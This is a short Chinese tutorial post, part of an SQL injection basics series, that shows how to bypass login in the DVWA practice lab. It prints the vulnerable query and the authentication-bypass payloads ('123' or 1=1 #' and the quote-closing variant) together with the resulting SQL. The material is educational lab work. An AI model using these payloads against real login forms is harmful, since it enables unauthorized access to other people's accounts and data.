您的位置:首页 > 数据库

SQL 注入基础系列2——利用 SQL 漏洞绕过登录验证

2018-12-26 17:04 1061 查看

DVWA->SQL Injection

[code]//后台sql语句
select * from users where username='$name' and password='$pwd';

当查询到数据表中存在同时满足 username 和 password 字段的数据时,会返回登录成功。例如,用户名为admin,密码为123时:

[code]//实际执行语句
select * from users where username='admin' and password='123';
  • 使用注释绕过验证

在用户名中输入 123' or 1=1 #,密码中同样输入 123' or 1=1 #

按照 Mysql 语法,# 后面的内容会被注释掉,所以密码也可以不填。

[code]//示例一
SELECT first_name, last_name FROM users WHERE user_id = '123' or 1=1 #';

//示例二
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #';

select * from users where username='123' or 1=1; #' and password='123' or 1=1; #';

 

  • 不做注释,手动闭合绕过验证
[code]//构造输入 123' or '1'='1
select * from users where username='123' or '1'='1' and password='123' or '1'='1'

两个 or 语句使 and 前后两个判断恒等于真,所以能够成功登录。

 

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: